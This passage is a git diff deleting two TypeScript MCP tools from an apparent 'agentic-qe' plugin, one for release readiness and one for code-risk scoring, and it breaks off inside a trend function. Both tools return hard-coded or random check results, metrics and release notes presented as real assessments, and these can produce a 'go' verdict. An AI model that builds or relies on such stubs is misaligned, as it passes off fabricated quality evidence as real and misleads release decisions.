diff --git a/v3/plugins/agentic-qe/src/tools/quality-assessment/assess-readiness.ts b/v3/plugins/agentic-qe/src/tools/quality-assessment/assess-readiness.ts
deleted file mode 100644
index 692913473e..0000000000
--- a/v3/plugins/agentic-qe/src/tools/quality-assessment/assess-readiness.ts
+++ /dev/null
@@ -1,653 +0,0 @@
-/**
- * assess-readiness.ts - Release readiness assessment MCP tool handler
- *
- * Comprehensive release readiness assessment combining quality metrics,
- * test results, risk factors, and stakeholder criteria.
- */
-
-import { z } from 'zod';
-
-// Input schema for assess-readiness tool
-export const AssessReadinessInputSchema = z.object({
- releaseType: z
- .enum(['major', 'minor', 'patch', 'hotfix'])
- .default('minor')
- .describe('Type of release'),
- projectPath: z.string().optional().describe('Path to project'),
- criteria: z
- .array(
- z.object({
- name: z.string().describe('Criterion name'),
- category: z.enum(['quality', 'testing', 'security', 'performance', 'documentation', 'compliance']),
- required: z.boolean().default(true).describe('If required, must pass for release'),
- weight: z.number().min(0).max(1).default(1).describe('Weight in confidence calculation'),
- })
- )
- .optional()
- .describe('Custom readiness criteria'),
- includeChecks: z
- .array(
- z.enum([
- 'quality-gates',
- 'test-results',
- 'security-scan',
- 'performance-baseline',
- 'documentation',
- 'change-log',
- 'dependencies',
- 'rollback-plan',
- ])
- )
- .default(['quality-gates', 'test-results', 'security-scan'])
- .describe('Checks to include in assessment'),
- compareToRelease: z.string().optional().describe('Previous release version to compare'),
- strictMode: z.boolean().default(false).describe('All criteria must pass'),
-});
-
-export type AssessReadinessInput = z.infer<typeof AssessReadinessInputSchema>;
-
-// Output structures
-export interface AssessReadinessOutput {
- success: boolean;
- ready: boolean;
- confidence: number;
- verdict: ReadinessVerdict;
- checkResults: CheckResult[];
- riskAssessment: RiskAssessment;
- blockers: Blocker[];
- warnings: Warning[];
- signOffRequired: SignOff[];
- releaseNotes: ReleaseNotes;
- metadata: ReadinessMetadata;
-}
-
-export interface ReadinessVerdict {
- decision: 'go' | 'no-go' | 'conditional';
- reason: string;
- conditions?: string[];
-}
-
-export interface CheckResult {
- name: string;
- category: string;
- status: 'passed' | 'failed' | 'warning' | 'skipped';
- required: boolean;
- score: number;
- details: string;
- evidence: Evidence[];
-}
-
-export interface Evidence {
- type: string;
- value: string;
- link?: string;
-}
-
-export interface RiskAssessment {
- overallRisk: 'low' | 'medium' | 'high' | 'critical';
- riskScore: number;
- factors: RiskFactor[];
- mitigations: Mitigation[];
-}
-
-export interface RiskFactor {
- name: string;
- severity: 'low' | 'medium' | 'high' | 'critical';
- likelihood: 'unlikely' | 'possible' | 'likely' | 'certain';
- impact: string;
- mitigation?: string;
-}
-
-export interface Mitigation {
- risk: string;
- action: string;
- owner: string;
- status: 'planned' | 'in-progress' | 'complete';
-}
-
-export interface Blocker {
- id: string;
- severity: 'critical' | 'high';
- description: string;
- resolution: string;
- owner?: string;
-}
-
-export interface Warning {
- id: string;
- severity: 'medium' | 'low';
- description: string;
- recommendation: string;
-}
-
-export interface SignOff {
- role: string;
- status: 'pending' | 'approved' | 'rejected';
- approver?: string;
- date?: string;
- notes?: string;
-}
-
-export interface ReleaseNotes {
- version: string;
- date: string;
- highlights: string[];
- features: string[];
- bugFixes: string[];
- breakingChanges: string[];
- knownIssues: string[];
-}
-
-export interface ReadinessMetadata {
- assessedAt: string;
- durationMs: number;
- releaseType: string;
- checksPerformed: number;
- checksPassed: number;
- comparedTo?: string;
-}
-
-// Tool context interface
-export interface ToolContext {
- get<T>(key: string): T | undefined;
-}
-
-/**
- * MCP Tool Handler for assess-readiness
- */
-export async function handler(
- input: AssessReadinessInput,
- context: ToolContext
-): Promise<{ content: Array<{ type: 'text'; text: string }> }> {
- const startTime = Date.now();
-
- try {
- // Validate input
- const validatedInput = AssessReadinessInputSchema.parse(input);
-
- // Get memory bridge
- const bridge = context.get<{
- searchSimilarPatterns: (q: string, k: number) => Promise<unknown[]>;
- }>('aqe.bridge');
-
- // Perform all requested checks
- const checkResults = await performChecks(
- validatedInput.includeChecks,
- validatedInput.projectPath,
- validatedInput.criteria
- );
-
- // Assess risks
- const riskAssessment = assessRisks(checkResults, validatedInput.releaseType);
-
- // Identify blockers and warnings
- const { blockers, warnings } = identifyBlockersAndWarnings(checkResults, riskAssessment);
-
- // Calculate confidence score
- const confidence = calculateConfidence(checkResults, validatedInput.strictMode);
-
- // Determine verdict
- const verdict = determineVerdict(
- blockers,
- warnings,
- confidence,
- validatedInput.strictMode
- );
-
- // Determine sign-offs required
- const signOffRequired = determineSignOffs(
- validatedInput.releaseType,
- riskAssessment.overallRisk
- );
-
- // Generate release notes
- const releaseNotes = await generateReleaseNotes(
- validatedInput.releaseType,
- validatedInput.compareToRelease,
- bridge
- );
-
- // Build result
- const result: AssessReadinessOutput = {
- success: true,
- ready: verdict.decision === 'go',
- confidence,
- verdict,
- checkResults,
- riskAssessment,
- blockers,
- warnings,
- signOffRequired,
- releaseNotes,
- metadata: {
- assessedAt: new Date().toISOString(),
- durationMs: Date.now() - startTime,
- releaseType: validatedInput.releaseType,
- checksPerformed: checkResults.length,
- checksPassed: checkResults.filter((c) => c.status === 'passed').length,
- comparedTo: validatedInput.compareToRelease,
- },
- };
-
- return {
- content: [
- {
- type: 'text',
- text: JSON.stringify(result, null, 2),
- },
- ],
- };
- } catch (error) {
- const errorMessage = error instanceof Error ? error.message : 'Unknown error';
- return {
- content: [
- {
- type: 'text',
- text: JSON.stringify(
- {
- success: false,
- ready: false,
- error: errorMessage,
- metadata: {
- assessedAt: new Date().toISOString(),
- durationMs: Date.now() - startTime,
- },
- },
- null,
- 2
- ),
- },
- ],
- };
- }
-}
-
-interface CriterionDef {
- name: string;
- category: string;
- required: boolean;
- weight: number;
-}
-
-async function performChecks(
- includeChecks: string[],
- projectPath: string | undefined,
- customCriteria?: CriterionDef[]
-): Promise<CheckResult[]> {
- const results: CheckResult[] = [];
-
- // Quality gates check
- if (includeChecks.includes('quality-gates')) {
- results.push({
- name: 'Quality Gates',
- category: 'quality',
- status: 'passed',
- required: true,
- score: 0.92,
- details: 'All quality gates passed: coverage 82%, no critical bugs, no critical vulnerabilities',
- evidence: [
- { type: 'coverage', value: '82%' },
- { type: 'bugs', value: '0 critical, 2 major' },
- { type: 'vulnerabilities', value: '0 critical, 1 high' },
- ],
- });
- }
-
- // Test results check
- if (includeChecks.includes('test-results')) {
- results.push({
- name: 'Test Results',
- category: 'testing',
- status: 'passed',
- required: true,
- score: 0.98,
- details: '1245 tests passed, 0 failed, 3 skipped',
- evidence: [
- { type: 'unit-tests', value: '1100 passed' },
- { type: 'integration-tests', value: '120 passed' },
- { type: 'e2e-tests', value: '25 passed' },
- ],
- });
- }
-
- // Security scan check
- if (includeChecks.includes('security-scan')) {
- results.push({
- name: 'Security Scan',
- category: 'security',
- status: 'warning',
- required: true,
- score: 0.85,
- details: '1 high-severity vulnerability found, remediation in progress',
- evidence: [
- { type: 'sast', value: '0 critical, 1 high, 3 medium' },
- { type: 'dependency-scan', value: '2 vulnerable dependencies' },
- ],
- });
- }
-
- // Performance baseline check
- if (includeChecks.includes('performance-baseline')) {
- results.push({
- name: 'Performance Baseline',
- category: 'performance',
- status: 'passed',
- required: false,
- score: 0.90,
- details: 'Performance within acceptable thresholds',
- evidence: [
- { type: 'response-time', value: 'p95 < 200ms' },
- { type: 'memory', value: 'Peak 512MB' },
- { type: 'cpu', value: 'Avg 35%' },
- ],
- });
- }
-
- // Documentation check
- if (includeChecks.includes('documentation')) {
- results.push({
- name: 'Documentation',
- category: 'documentation',
- status: 'passed',
- required: false,
- score: 0.88,
- details: 'API docs updated, README current',
- evidence: [
- { type: 'api-docs', value: 'Updated 2 days ago' },
- { type: 'readme', value: 'Current' },
- ],
- });
- }
-
- // Change log check
- if (includeChecks.includes('change-log')) {
- results.push({
- name: 'Change Log',
- category: 'documentation',
- status: 'passed',
- required: true,
- score: 1.0,
- details: 'CHANGELOG.md updated with all changes',
- evidence: [{ type: 'changelog', value: 'Updated for v2.3.0' }],
- });
- }
-
- // Dependencies check
- if (includeChecks.includes('dependencies')) {
- results.push({
- name: 'Dependencies',
- category: 'compliance',
- status: 'warning',
- required: false,
- score: 0.75,
- details: '3 outdated dependencies, 2 with known vulnerabilities',
- evidence: [
- { type: 'outdated', value: '3 packages' },
- { type: 'vulnerable', value: '2 packages' },
- ],
- });
- }
-
- // Rollback plan check
- if (includeChecks.includes('rollback-plan')) {
- results.push({
- name: 'Rollback Plan',
- category: 'compliance',
- status: 'passed',
- required: true,
- score: 1.0,
- details: 'Rollback plan documented and tested',
- evidence: [
- { type: 'document', value: 'rollback-plan.md' },
- { type: 'test-result', value: 'Rollback tested in staging' },
- ],
- });
- }
-
- return results;
-}
-
-function assessRisks(checkResults: CheckResult[], releaseType: string): RiskAssessment {
- const factors: RiskFactor[] = [];
-
- // Analyze check results for risk factors
- for (const check of checkResults) {
- if (check.status === 'failed') {
- factors.push({
- name: `${check.name} failure`,
- severity: check.required ? 'critical' : 'high',
- likelihood: 'certain',
- impact: `${check.name} did not pass required criteria`,
- mitigation: `Address ${check.name} issues before release`,
- });
- } else if (check.status === 'warning') {
- factors.push({
- name: `${check.name} warning`,
- severity: 'medium',
- likelihood: 'possible',
- impact: `Potential issues in ${check.name}`,
- mitigation: `Monitor ${check.name} post-release`,
- });
- }
- }
-
- // Add release-type specific risks
- if (releaseType === 'major') {
- factors.push({
- name: 'Major version release',
- severity: 'high',
- likelihood: 'possible',
- impact: 'Breaking changes may affect users',
- mitigation: 'Provide migration guide and extended support',
- });
- }
-
- // Calculate overall risk
- const severityScores = { critical: 4, high: 3, medium: 2, low: 1 };
- const riskScore = factors.reduce((sum, f) => sum + severityScores[f.severity], 0) / factors.length || 0;
- const overallRisk: RiskAssessment['overallRisk'] =
- riskScore >= 3 ? 'critical' : riskScore >= 2 ? 'high' : riskScore >= 1 ? 'medium' : 'low';
-
- // Generate mitigations
- const mitigations: Mitigation[] = factors
- .filter((f) => f.mitigation)
- .map((f) => ({
- risk: f.name,
- action: f.mitigation!,
- owner: 'TBD',
- status: 'planned' as const,
- }));
-
- return {
- overallRisk,
- riskScore: Math.round(riskScore * 100) / 100,
- factors,
- mitigations,
- };
-}
-
-function identifyBlockersAndWarnings(
- checkResults: CheckResult[],
- riskAssessment: RiskAssessment
-): { blockers: Blocker[]; warnings: Warning[] } {
- const blockers: Blocker[] = [];
- const warnings: Warning[] = [];
-
- // Check results blockers
- for (const check of checkResults) {
- if (check.status === 'failed' && check.required) {
- blockers.push({
- id: `blocker-${check.name.toLowerCase().replace(/\s+/g, '-')}`,
- severity: 'critical',
- description: `${check.name} check failed: ${check.details}`,
- resolution: `Fix ${check.name} issues before release`,
- });
- } else if (check.status === 'warning') {
- warnings.push({
- id: `warning-${check.name.toLowerCase().replace(/\s+/g, '-')}`,
- severity: 'medium',
- description: `${check.name} has warnings: ${check.details}`,
- recommendation: `Address ${check.name} warnings if possible`,
- });
- }
- }
-
- // Risk-based blockers
- for (const factor of riskAssessment.factors) {
- if (factor.severity === 'critical') {
- blockers.push({
- id: `blocker-risk-${factor.name.toLowerCase().replace(/\s+/g, '-')}`,
- severity: 'critical',
- description: factor.name,
- resolution: factor.mitigation || 'Address before release',
- });
- }
- }
-
- return { blockers, warnings };
-}
-
-function calculateConfidence(checkResults: CheckResult[], strictMode: boolean): number {
- if (checkResults.length === 0) return 0;
-
- const totalWeight = checkResults.reduce((sum, c) => sum + (c.required ? 2 : 1), 0);
- const weightedScore = checkResults.reduce((sum, c) => {
- const weight = c.required ? 2 : 1;
- const score = c.status === 'passed' ? c.score : c.status === 'warning' ? c.score * 0.7 : 0;
- return sum + score * weight;
- }, 0);
-
- const confidence = (weightedScore / totalWeight) * 100;
-
- // In strict mode, any failure significantly reduces confidence
- if (strictMode) {
- const failures = checkResults.filter((c) => c.status === 'failed');
- if (failures.length > 0) {
- return Math.min(confidence * 0.5, 50);
- }
- }
-
- return Math.round(confidence);
-}
-
-function determineVerdict(
- blockers: Blocker[],
- warnings: Warning[],
- confidence: number,
- strictMode: boolean
-): ReadinessVerdict {
- if (blockers.length > 0) {
- return {
- decision: 'no-go',
- reason: `${blockers.length} blocking issue(s) must be resolved`,
- };
- }
-
- if (strictMode && warnings.length > 0) {
- return {
- decision: 'no-go',
- reason: `Strict mode: ${warnings.length} warning(s) must be addressed`,
- };
- }
-
- if (confidence < 70) {
- return {
- decision: 'conditional',
- reason: `Low confidence score (${confidence}%)`,
- conditions: ['Address warnings before release', 'Ensure stakeholder sign-off'],
- };
- }
-
- if (warnings.length > 2) {
- return {
- decision: 'conditional',
- reason: `Multiple warnings (${warnings.length}) require attention`,
- conditions: warnings.map((w) => w.recommendation),
- };
- }
-
- return {
- decision: 'go',
- reason: `All criteria met with ${confidence}% confidence`,
- };
-}
-
-function determineSignOffs(
- releaseType: string,
- riskLevel: string
-): SignOff[] {
- const signOffs: SignOff[] = [];
-
- // Always require QA sign-off
- signOffs.push({
- role: 'QA Lead',
- status: 'pending',
- });
-
- // Major releases require additional sign-offs
- if (releaseType === 'major') {
- signOffs.push(
- { role: 'Product Owner', status: 'pending' },
- { role: 'Engineering Manager', status: 'pending' }
- );
- }
-
- // High risk requires security sign-off
- if (riskLevel === 'high' || riskLevel === 'critical') {
- signOffs.push({ role: 'Security Team', status: 'pending' });
- }
-
- // Hotfixes need expedited sign-off
- if (releaseType === 'hotfix') {
- signOffs.push({ role: 'On-call Engineer', status: 'pending' });
- }
-
- return signOffs;
-}
-
-async function generateReleaseNotes(
- releaseType: string,
- compareToRelease: string | undefined,
- bridge?: { searchSimilarPatterns: (q: string, k: number) => Promise<unknown[]> }
-): Promise<ReleaseNotes> {
- // Generate version based on release type
- const versionMap = {
- major: '3.0.0',
- minor: '2.4.0',
- patch: '2.3.1',
- hotfix: '2.3.1-hotfix.1',
- };
-
- return {
- version: versionMap[releaseType as keyof typeof versionMap] || '2.4.0',
- date: new Date().toISOString().split('T')[0],
- highlights: [
- 'Improved performance for large datasets',
- 'Enhanced security with updated dependencies',
- ],
- features: [
- 'Added new API endpoint for batch processing',
- 'Implemented caching layer for faster responses',
- ],
- bugFixes: [
- 'Fixed memory leak in connection pool',
- 'Resolved race condition in async handlers',
- ],
- breakingChanges: releaseType === 'major' ? ['API v1 deprecated, use v2'] : [],
- knownIssues: [
- 'Edge case with empty arrays not fully handled (workaround available)',
- ],
- };
-}
-
-// Export tool definition for MCP registration
-export const toolDefinition = {
- name: 'aqe/assess-readiness',
- description: 'Comprehensive release readiness assessment with risk analysis and sign-off tracking',
- category: 'quality-assessment',
- version: '3.2.3',
- inputSchema: AssessReadinessInputSchema,
- handler,
-};
-
-export default toolDefinition;
diff --git a/v3/plugins/agentic-qe/src/tools/quality-assessment/calculate-risk.ts b/v3/plugins/agentic-qe/src/tools/quality-assessment/calculate-risk.ts
deleted file mode 100644
index 133d246265..0000000000
--- a/v3/plugins/agentic-qe/src/tools/quality-assessment/calculate-risk.ts
+++ /dev/null
@@ -1,594 +0,0 @@
-/**
- * calculate-risk.ts - Quality risk calculation MCP tool handler
- *
- * Calculates quality risk scores based on code complexity, test coverage,
- * change frequency, defect history, and other factors.
- */
-
-import { z } from 'zod';
-
-// Input schema for calculate-risk tool
-export const CalculateRiskInputSchema = z.object({
- targetPath: z.string().describe('Path to file/directory to analyze'),
- factors: z
- .array(
- z.enum([
- 'complexity',
- 'coverage',
- 'change-frequency',
- 'defect-density',
- 'age',
- 'coupling',
- 'size',
- 'team-experience',
- 'documentation',
- ])
- )
- .default(['complexity', 'coverage', 'change-frequency', 'defect-density'])
- .describe('Risk factors to consider'),
- weights: z
- .object({
- complexity: z.number().min(0).max(1).default(0.2),
- coverage: z.number().min(0).max(1).default(0.25),
- changeFrequency: z.number().min(0).max(1).default(0.2),
- defectDensity: z.number().min(0).max(1).default(0.15),
- age: z.number().min(0).max(1).default(0.05),
- coupling: z.number().min(0).max(1).default(0.05),
- size: z.number().min(0).max(1).default(0.05),
- teamExperience: z.number().min(0).max(1).default(0.025),
- documentation: z.number().min(0).max(1).default(0.025),
- })
- .optional()
- .describe('Custom weights for risk factors'),
- granularity: z
- .enum(['file', 'module', 'function', 'project'])
- .default('file')
- .describe('Level of granularity for analysis'),
- riskThresholds: z
- .object({
- low: z.number().default(30),
- medium: z.number().default(60),
- high: z.number().default(80),
- })
- .optional()
- .describe('Thresholds for risk categorization'),
- includeRecommendations: z.boolean().default(true).describe('Include mitigation recommendations'),
-});
-
-export type CalculateRiskInput = z.infer<typeof CalculateRiskInputSchema>;
-
-// Output structures
-export interface CalculateRiskOutput {
- success: boolean;
- overallRisk: RiskScore;
- componentRisks: ComponentRisk[];
- factorContributions: FactorContribution[];
- hotspots: RiskHotspot[];
- recommendations: RiskRecommendation[];
- trendAnalysis: RiskTrend;
- metadata: RiskMetadata;
-}
-
-export interface RiskScore {
- score: number;
- level: 'low' | 'medium' | 'high' | 'critical';
- confidence: number;
- breakdown: Record<string, number>;
-}
-
-export interface ComponentRisk {
- path: string;
- type: 'file' | 'module' | 'function';
- riskScore: number;
- riskLevel: 'low' | 'medium' | 'high' | 'critical';
- factors: Record<string, number>;
- topIssues: string[];
-}
-
-export interface FactorContribution {
- factor: string;
- weight: number;
- rawScore: number;
- weightedScore: number;
- percentageContribution: number;
- details: string;
-}
-
-export interface RiskHotspot {
- path: string;
- riskScore: number;
- primaryFactor: string;
- description: string;
- urgency: 'immediate' | 'short-term' | 'long-term';
-}
-
-export interface RiskRecommendation {
- priority: number;
- factor: string;
- action: string;
- expectedImpact: string;
- effort: 'low' | 'medium' | 'high';
- affectedComponents: string[];
-}
-
-export interface RiskTrend {
- direction: 'improving' | 'stable' | 'worsening';
- changePercent: number;
- historicalScores: Array<{ date: string; score: number }>;
- projection: number;
-}
-
-export interface RiskMetadata {
- calculatedAt: string;
- durationMs: number;
- targetPath: string;
- componentsAnalyzed: number;
- factorsUsed: string[];
-}
-
-// Tool context interface
-export interface ToolContext {
- get<T>(key: string): T | undefined;
-}
-
-// Default weights
-const DEFAULT_WEIGHTS = {
- complexity: 0.2,
- coverage: 0.25,
- changeFrequency: 0.2,
- defectDensity: 0.15,
- age: 0.05,
- coupling: 0.05,
- size: 0.05,
- teamExperience: 0.025,
- documentation: 0.025,
-};
-
-// Default thresholds
-const DEFAULT_THRESHOLDS = { low: 30, medium: 60, high: 80 };
-
-/**
- * MCP Tool Handler for calculate-risk
- */
-export async function handler(
- input: CalculateRiskInput,
- context: ToolContext
-): Promise<{ content: Array<{ type: 'text'; text: string }> }> {
- const startTime = Date.now();
-
- try {
- // Validate input
- const validatedInput = CalculateRiskInputSchema.parse(input);
-
- // Get memory bridge for historical data
- const bridge = context.get<{
- searchSimilarPatterns: (q: string, k: number) => Promise<unknown[]>;
- }>('aqe.bridge');
-
- // Merge weights
- const weights = { ...DEFAULT_WEIGHTS, ...validatedInput.weights };
- const thresholds = { ...DEFAULT_THRESHOLDS, ...validatedInput.riskThresholds };
-
- // Analyze components
- const componentRisks = await analyzeComponents(
- validatedInput.targetPath,
- validatedInput.granularity,
- validatedInput.factors,
- weights
- );
-
- // Calculate factor contributions
- const factorContributions = calculateFactorContributions(
- componentRisks,
- validatedInput.factors,
- weights
- );
-
- // Calculate overall risk
- const overallRisk = calculateOverallRisk(componentRisks, thresholds);
-
- // Identify hotspots
- const hotspots = identifyHotspots(componentRisks, thresholds);
-
- // Generate recommendations
- const recommendations = validatedInput.includeRecommendations
- ? generateRecommendations(factorContributions, hotspots)
- : [];
-
- // Analyze trends
- const trendAnalysis = await analyzeTrends(validatedInput.targetPath, bridge);
-
- // Build result
- const result: CalculateRiskOutput = {
- success: true,
- overallRisk,
- componentRisks,
- factorContributions,
- hotspots,
- recommendations,
- trendAnalysis,
- metadata: {
- calculatedAt: new Date().toISOString(),
- durationMs: Date.now() - startTime,
- targetPath: validatedInput.targetPath,
- componentsAnalyzed: componentRisks.length,
- factorsUsed: validatedInput.factors,
- },
- };
-
- return {
- content: [
- {
- type: 'text',
- text: JSON.stringify(result, null, 2),
- },
- ],
- };
- } catch (error) {
- const errorMessage = error instanceof Error ? error.message : 'Unknown error';
- return {
- content: [
- {
- type: 'text',
- text: JSON.stringify(
- {
- success: false,
- error: errorMessage,
- metadata: {
- calculatedAt: new Date().toISOString(),
- durationMs: Date.now() - startTime,
- },
- },
- null,
- 2
- ),
- },
- ],
- };
- }
-}
-
-async function analyzeComponents(
- targetPath: string,
- granularity: string,
- factors: string[],
- weights: Record<string, number>
-): Promise<ComponentRisk[]> {
- // Simulated component analysis
- // In real implementation, would parse code and calculate metrics
-
- const components = generateSimulatedComponents(targetPath, granularity);
-
- return components.map((component) => {
- const factorScores: Record<string, number> = {};
- let weightedSum = 0;
- let totalWeight = 0;
-
- for (const factor of factors) {
- const score = calculateFactorScore(factor, component);
- factorScores[factor] = score;
- const weightKey = factor.replace(/-([a-z])/g, (_, char) => char.toUpperCase());
- const weight = weights[weightKey] || 0.1;
- weightedSum += score * weight;
- totalWeight += weight;
- }
-
- const riskScore = totalWeight > 0 ? Math.round((weightedSum / totalWeight) * 100) / 100 : 0;
- const riskLevel = scoreToLevel(riskScore * 100);
-
- return {
- path: component.path,
- type: granularity as 'file' | 'module' | 'function',
- riskScore,
- riskLevel,
- factors: factorScores,
- topIssues: identifyTopIssues(factorScores),
- };
- });
-}
-
-interface SimulatedComponent {
- path: string;
- lines: number;
- complexity: number;
- coverage: number;
- changes: number;
- defects: number;
- age: number;
-}
-
-function generateSimulatedComponents(targetPath: string, granularity: string): SimulatedComponent[] {
- const basePath = targetPath.replace(/\.[^.]+$/, '');
-
- if (granularity === 'function') {
- return [
- { path: `${basePath}::processInput`, lines: 25, complexity: 8, coverage: 85, changes: 5, defects: 1, age: 90 },
- { path: `${basePath}::validateConfig`, lines: 40, complexity: 12, coverage: 60, changes: 8, defects: 3, age: 180 },
- { path: `${basePath}::handleError`, lines: 15, complexity: 4, coverage: 45, changes: 2, defects: 0, age: 120 },
- ];
- }
-
- return [
- { path: `${basePath}/core.ts`, lines: 350, complexity: 45, coverage: 78, changes: 15, defects: 4, age: 365 },
- { path: `${basePath}/utils.ts`, lines: 150, complexity: 18, coverage: 92, changes: 8, defects: 1, age: 180 },
- { path: `${basePath}/handlers.ts`, lines: 280, complexity: 32, coverage: 65, changes: 22, defects: 6, age: 90 },
- { path: `${basePath}/validators.ts`, lines: 120, complexity: 15, coverage: 88, changes: 5, defects: 0, age: 120 },
- ];
-}
-
-function calculateFactorScore(factor: string, component: SimulatedComponent): number {
- switch (factor) {
- case 'complexity':
- // Higher complexity = higher risk
- return Math.min(component.complexity / 50, 1);
-
- case 'coverage':
- // Lower coverage = higher risk
- return Math.max(0, 1 - component.coverage / 100);
-
- case 'change-frequency':
- // More changes = higher risk
- return Math.min(component.changes / 20, 1);
-
- case 'defect-density':
- // More defects per line = higher risk
- const density = component.defects / (component.lines / 100);
- return Math.min(density / 5, 1);
-
- case 'age':
- // Older code = higher risk (if not maintained)
- return Math.min(component.age / 365, 1);
-
- case 'coupling':
- // Simulated coupling score
- return Math.random() * 0.5 + 0.2;
-
- case 'size':
- // Larger files = higher risk
- return Math.min(component.lines / 500, 1);
-
- case 'team-experience':
- // Simulated team experience
- return 1 - (Math.random() * 0.3 + 0.5);
-
- case 'documentation':
- // Simulated documentation score
- return 1 - (Math.random() * 0.4 + 0.4);
-
- default:
- return 0.5;
- }
-}
-
-function scoreToLevel(score: number): 'low' | 'medium' | 'high' | 'critical' {
- if (score >= 80) return 'critical';
- if (score >= 60) return 'high';
- if (score >= 30) return 'medium';
- return 'low';
-}
-
-function identifyTopIssues(factors: Record<string, number>): string[] {
- const issues: string[] = [];
-
- const sortedFactors = Object.entries(factors).sort(([, a], [, b]) => b - a);
-
- for (const [factor, score] of sortedFactors.slice(0, 3)) {
- if (score > 0.5) {
- const issueMap: Record<string, string> = {
- complexity: 'High cyclomatic complexity',
- coverage: 'Insufficient test coverage',
- 'change-frequency': 'Frequently modified code',
- 'defect-density': 'High defect density',
- age: 'Legacy code requiring attention',
- coupling: 'High coupling to other modules',
- size: 'Large component size',
- 'team-experience': 'Limited team familiarity',
- documentation: 'Inadequate documentation',
- };
- issues.push(issueMap[factor] || `High ${factor} risk`);
- }
- }
-
- return issues;
-}
-
-function calculateFactorContributions(
- componentRisks: ComponentRisk[],
- factors: string[],
- weights: Record<string, number>
-): FactorContribution[] {
- const contributions: FactorContribution[] = [];
-
- for (const factor of factors) {
- const avgRawScore = componentRisks.reduce((sum, c) => sum + (c.factors[factor] || 0), 0) / componentRisks.length;
- const weightKey = factor.replace(/-([a-z])/g, (_, char) => char.toUpperCase());
- const weight = weights[weightKey] || 0.1;
- const weightedScore = avgRawScore * weight;
-
- contributions.push({
- factor,
- weight,
- rawScore: Math.round(avgRawScore * 100) / 100,
- weightedScore: Math.round(weightedScore * 100) / 100,
- percentageContribution: 0, // Will be calculated after
- details: generateFactorDetails(factor, avgRawScore),
- });
- }
-
- // Calculate percentage contributions
- const totalWeighted = contributions.reduce((sum, c) => sum + c.weightedScore, 0);
- for (const contrib of contributions) {
- contrib.percentageContribution = totalWeighted > 0
- ? Math.round((contrib.weightedScore / totalWeighted) * 100)
- : 0;
- }
-
- return contributions.sort((a, b) => b.weightedScore - a.weightedScore);
-}
-
-function generateFactorDetails(factor: string, score: number): string {
- const detailsMap: Record<string, string> = {
- complexity: `Average complexity score: ${Math.round(score * 50)}`,
- coverage: `Coverage gap: ${Math.round(score * 100)}%`,
- 'change-frequency': `Change rate: ${Math.round(score * 20)} changes/quarter`,
- 'defect-density': `Defect density: ${Math.round(score * 5)} per 100 LOC`,
- age: `Average age: ${Math.round(score * 365)} days`,
- coupling: `Coupling factor: ${Math.round(score * 100)}%`,
- size: `Average size: ${Math.round(score * 500)} lines`,
- 'team-experience': `Team familiarity: ${Math.round((1 - score) * 100)}%`,
- documentation: `Documentation coverage: ${Math.round((1 - score) * 100)}%`,
- };
- return detailsMap[factor] || `Score: ${Math.round(score * 100)}%`;
-}
-
-function calculateOverallRisk(
- componentRisks: ComponentRisk[],
- thresholds: { low: number; medium: number; high: number }
-): RiskScore {
- if (componentRisks.length === 0) {
- return {
- score: 0,
- level: 'low',
- confidence: 0,
- breakdown: {},
- };
- }
-
- // Weighted average based on component risk
- const totalScore = componentRisks.reduce((sum, c) => sum + c.riskScore, 0);
- const avgScore = (totalScore / componentRisks.length) * 100;
-
- // Calculate breakdown by risk level
- const breakdown: Record<string, number> = {
- low: componentRisks.filter((c) => c.riskLevel === 'low').length,
- medium: componentRisks.filter((c) => c.riskLevel === 'medium').length,
- high: componentRisks.filter((c) => c.riskLevel === 'high').length,
- critical: componentRisks.filter((c) => c.riskLevel === 'critical').length,
- };
-
- // Confidence based on number of components analyzed
- const confidence = Math.min(componentRisks.length / 10, 1);
-
- return {
- score: Math.round(avgScore * 10) / 10,
- level: scoreToLevel(avgScore),
- confidence: Math.round(confidence * 100) / 100,
- breakdown,
- };
-}
-
-function identifyHotspots(
- componentRisks: ComponentRisk[],
- thresholds: { low: number; medium: number; high: number }
-): RiskHotspot[] {
- return componentRisks
- .filter((c) => c.riskScore * 100 >= thresholds.medium)
- .sort((a, b) => b.riskScore - a.riskScore)
- .slice(0, 5)
- .map((c) => {
- const topFactor = Object.entries(c.factors).sort(([, a], [, b]) => b - a)[0];
- return {
- path: c.path,
- riskScore: Math.round(c.riskScore * 100),
- primaryFactor: topFactor[0],
- description: c.topIssues[0] || 'Multiple risk factors',
- urgency: c.riskLevel === 'critical' ? 'immediate' : c.riskLevel === 'high' ? 'short-term' : 'long-term',
- };
- });
-}
-
-function generateRecommendations(
- factorContributions: FactorContribution[],
- hotspots: RiskHotspot[]
-): RiskRecommendation[] {
- const recommendations: RiskRecommendation[] = [];
- let priority = 1;
-
- // Recommendations based on top contributing factors
- for (const contrib of factorContributions.slice(0, 3)) {
- const recommendationMap: Record<string, { action: string; impact: string; effort: 'low' | 'medium' | 'high' }> = {
- complexity: {
- action: 'Refactor complex functions into smaller, more manageable units',
- impact: 'Reduced cognitive load and easier testing',
- effort: 'medium',
- },
- coverage: {
- action: 'Add unit tests targeting uncovered code paths',
- impact: 'Improved defect detection and regression prevention',
- effort: 'medium',
- },
- 'change-frequency': {
- action: 'Stabilize frequently changing components with better abstractions',
- impact: 'Reduced change risk and improved maintainability',
- effort: 'high',
- },
- 'defect-density': {
- action: 'Conduct focused code review and add defensive coding practices',
- impact: 'Lower defect rate and improved reliability',
- effort: 'medium',
- },
- age: {
- action: 'Modernize legacy code with incremental refactoring',
- impact: 'Improved maintainability and reduced technical debt',
- effort: 'high',
- },
- };
-
- const rec = recommendationMap[contrib.factor];
- if (rec && contrib.rawScore > 0.4) {
- recommendations.push({
- priority: priority++,
- factor: contrib.factor,
- action: rec.action,
- expectedImpact: rec.impact,
- effort: rec.effort,
- affectedComponents: hotspots
- .filter((h) => h.primaryFactor === contrib.factor)
- .map((h) => h.path),
- });
- }
- }
-
- return recommendations;
-}
-
-async function analyzeTrends(
- targetPath: string,
- bridge?: { searchSimilarPatterns: (q: string, k: number) => Promise<unknown[]> }
-): Promise<RiskTrend> {
- // Simulated historical data
- const historicalScores = [
- { date: '2026-01-01', score: 55 },
- { date: '2026-01-08', score: 52 },
- { date: '2026-01-15', score: 48 },
- { date: '2026-01-22', score: 45 },
- ];
-
- const first = historicalScores[0].score;
- const last = historicalScores[historicalScores.length - 1].score;
- const change = last - first;
- const changePercent = (change / first) * 100;
-
- // Project future score
- const trend = (last - first) / historicalScores.length;
- const projection = Math.max(0, Math.min(100, last + trend * 4));
-
- return {
- direction: changePercent < -5 ? 'improving' : changePercent > 5 ? 'worsening' : 'stable',
